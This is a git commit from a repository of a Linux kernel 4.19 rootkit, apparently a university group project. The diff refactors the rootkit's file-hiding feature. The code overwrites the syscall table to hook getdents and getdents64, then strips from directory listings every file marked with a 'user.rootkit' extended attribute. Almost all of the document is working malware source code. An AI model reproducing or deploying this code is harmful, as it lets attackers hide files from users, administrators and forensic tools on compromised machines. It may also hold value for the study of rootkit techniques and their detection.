linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit d0bde7d94b583859027a7308a56db611c39b8599
parent 0ded654979d35a8b11ddb1da68c1df3fbc87f4e7
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 23 Nov 2020 06:55:52 +0100

refactors code; adds list-based entry-check

Diffstat:
Msrc/filehide.c | 56++++++++++++++++++++++++++++++++++++++++++++++++++------
Msrc/filehide.h | 11+++++++++++
Msrc/hook.c | 104++++++++++++++++++++++---------------------------------------------------------
3 files changed, 90 insertions(+), 81 deletions(-)

diff --git a/src/filehide.c b/src/filehide.c @@ -1,12 +1,12 @@ +#include <linux/xattr.h> +#include <linux/fs.h> +#include <linux/fdtable.h> + +#include "common.h" #include "filehide.h" #include "hook.h" -struct linux_dirent { - unsigned long d_ino; - unsigned long d_off; - unsigned short d_reclen; - char d_name[]; -}; +#define SIZE 512 void hide_files(void) @@ -25,3 +25,47 @@ unhide_files(void) sys_calls[__NR_getdents64] = (void *)sys_getdents64; enable_protection(); } + + +unsigned long +must_hide_inode(struct dentry *dentry) +{ + char buf[SIZE]; + + if(dentry && dentry->d_inode) + if(!inode_permission(dentry->d_inode, MAY_READ)) { + ssize_t len = vfs_getxattr(dentry, "user.rootkit", buf, SIZE); + + if (len > 0 && !strncmp("rootkit", buf, len)) + return dentry->d_inode->i_ino; + } + + return 0; +} + +bool +list_contains_inode(inode_list_t_ptr node, unsigned long inode) +{ + inode_list_t_ptr i; + for (i = node; i; i = i->next) + if (i->inode == inode) + return true; + + return false; +} + +inode_list_t_ptr +add_inode_to_list(inode_list_t_ptr tail, unsigned long inode) +{ + inode_list_t_ptr node; + node = (inode_list_t_ptr)kzalloc(sizeof(inode_list_t), GFP_KERNEL); + + if (node) { + node->inode = inode; + node->next = NULL; + tail->next = node; + return node; + } + + return NULL; +} diff --git a/src/filehide.h b/src/filehide.h @@ -3,9 +3,20 @@ #include <linux/types.h> #include <linux/syscalls.h> +#include <linux/list.h> + +typedef struct inode_list *inode_list_t_ptr; +typedef struct inode_list { + unsigned long inode; + inode_list_t_ptr next; +} inode_list_t; void hide_files(void); void unhide_files(void); +unsigned long must_hide_inode(struct dentry *); +bool list_contains_inode(inode_list_t_ptr, unsigned long); +inode_list_t_ptr add_inode_to_list(inode_list_t_ptr, unsigned long); + #endif//_GROUP7_FILEHIDE_H diff --git a/src/hook.c b/src/hook.c @@ -1,13 +1,16 @@ #include <linux/kallsyms.h> #include <linux/slab.h> -#include <linux/xattr.h> #include <linux/fs.h> +#include <linux/xattr.h> #include <linux/fdtable.h> +#include <linux/list.h> #include "common.h" #include "hook.h" +#include "rootkit.h" +#include "filehide.h" -#define SIZE 512 +extern rootkit_t rootkit; void **sys_calls; @@ -15,10 +18,10 @@ asmlinkage long (*sys_getdents)(const struct pt_regs *); asmlinkage long (*sys_getdents64)(const struct pt_regs *); struct linux_dirent { - unsigned long d_ino; - unsigned long d_off; - unsigned short d_reclen; - char d_name[1]; + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; + char d_name[1]; }; int @@ -33,20 +36,17 @@ init_hooks(void) { sys_getdents = (void *)sys_calls[__NR_getdents]; sys_getdents64 = (void *)sys_calls[__NR_getdents64]; - - disable_protection(); - sys_calls[__NR_getdents] = (unsigned long) g7_getdents; - sys_calls[__NR_getdents64] = (unsigned long) g7_getdents64; - enable_protection(); } void remove_hooks(void) { - disable_protection(); - sys_calls[__NR_getdents] = sys_getdents; - sys_calls[__NR_getdents64] = sys_getdents64; - enable_protection(); + if (rootkit.hiding_files) { + disable_protection(); + sys_calls[__NR_getdents] = (void *)sys_getdents; + sys_calls[__NR_getdents64] = (void *)sys_getdents64; + enable_protection(); + } } void @@ -62,26 +62,6 @@ enable_protection(void) } -static bool -must_hide(struct dentry *dentry) -{ - char buf[SIZE]; - vfs_getxattr(dentry, "user.rootkit", buf, SIZE); - return !strcmp("rootkit", buf); -} - - -static int -g7_compare_inodes(unsigned long inode, unsigned long *ino_array, int ino_count) -{ - for(int i = 0; i < ino_count; i++) - if(inode == ino_array[i]) - return 1; - - return 0; -} - - // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/entry/syscall_64.c // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/ptrace.h#L12 asmlinkage long @@ -108,33 +88,23 @@ g7_getdents(const struct pt_regs *pt_regs) kdirent_dentry = current->files->fdt->fd[fd]->f_path.dentry; kdirent_inode = kdirent_dentry->d_inode; - //Store all inode numbers that have xattrs set - //TODO better implementation, a limit of 256 is stupid (or is it?) - unsigned long *ino_array; - int ino_count; - ino_array = kmalloc(256 * sizeof(unsigned long), GFP_KERNEL); - ino_count = 0; + inode_list_t hidden_inodes = { 0, NULL }; + inode_list_t_ptr hi_head = &hidden_inodes; + inode_list_t_ptr hi_tail = &hidden_inodes; - // TODO struct list_head *i; list_for_each(i, &kdirent_dentry->d_subdirs) { + unsigned long inode; struct dentry *child = list_entry(i, struct dentry, d_child); - if(child && child->d_inode) - if(!inode_permission(child->d_inode, MAY_READ)) { - char* buf = kmalloc(256, GFP_KERNEL); - ssize_t sz = vfs_getxattr(child, "user.rootkit", buf, 256); - if(!strncmp("rootkit", buf, sz)) - ino_array[ino_count++] = child->d_inode->i_ino; - - kfree(buf); - } + if ((inode = must_hide_inode(child))) + hi_tail = add_inode_to_list(hi_tail, inode); } for (offset = 0; offset < ret;) { cur_kdirent = (dirent_t_ptr)((char *)kdirent + offset); - if (g7_compare_inodes(cur_kdirent->d_ino, ino_array, ino_count)) { // TODO: detect xattrs user.rootkit = rootkit + if (list_contains_inode(hi_head, cur_kdirent->d_ino)) { if (cur_kdirent == kdirent) { ret -= cur_kdirent->d_reclen; memmove(cur_kdirent, (char *)cur_kdirent + cur_kdirent->d_reclen, ret); @@ -162,8 +132,6 @@ g7_getdents64(const struct pt_regs *pt_regs) { typedef struct linux_dirent64 *dirent64_t_ptr; - bool musthide = false; - unsigned long offset; dirent64_t_ptr kdirent, cur_kdirent, prev_kdirent; struct dentry *kdirent_dentry; @@ -183,36 +151,23 @@ g7_getdents64(const struct pt_regs *pt_regs) kdirent_dentry = current->files->fdt->fd[fd]->f_path.dentry; kdirent_inode = kdirent_dentry->d_inode; - //musthide = must_hide(kdirent_dentry); - //DEBUG_INFO("must hide from 64: %d", musthide); - - //Store all inode numbers that have xattrs set - //TODO better implementation, a limit of 256 is stupid (or is it?) - unsigned long *ino_array; - int ino_count; - ino_array = kmalloc(256 * sizeof(unsigned long), GFP_KERNEL); - ino_count = 0; + inode_list_t hidden_inodes = { 0, NULL }; + inode_list_t_ptr hi_head = &hidden_inodes; + inode_list_t_ptr hi_tail = &hidden_inodes; - // TODO struct list_head *i; list_for_each(i, &kdirent_dentry->d_subdirs) { + unsigned long inode; struct dentry *child = list_entry(i, struct dentry, d_child); - if(child && child->d_inode) - if(!inode_permission(child->d_inode, MAY_READ)) { - char* buf = kmalloc(256, GFP_KERNEL); - ssize_t sz = vfs_getxattr(child, "user.rootkit", buf, 256); - if(!strncmp("rootkit", buf, sz)) - ino_array[ino_count++] = child->d_inode->i_ino; - - kfree(buf); - } + if ((inode = must_hide_inode(child))) + hi_tail = add_inode_to_list(hi_tail, inode); } for (offset = 0; offset < ret;) { cur_kdirent = (dirent64_t_ptr)((char *)kdirent + offset); - if (g7_compare_inodes(cur_kdirent->d_ino, ino_array, ino_count)) { // TODO: detect xattrs user.rootkit = rootkit + if (list_contains_inode(hi_head, cur_kdirent->d_ino)) { if (cur_kdirent == kdirent) { ret -= cur_kdirent->d_reclen; memmove(cur_kdirent, (char *)cur_kdirent + cur_kdirent->d_reclen, ret); @@ -229,7 +184,6 @@ g7_getdents64(const struct pt_regs *pt_regs) copy_to_user(dirent, kdirent, ret); yield: - kfree(ino_array); kfree(kdirent); return ret; }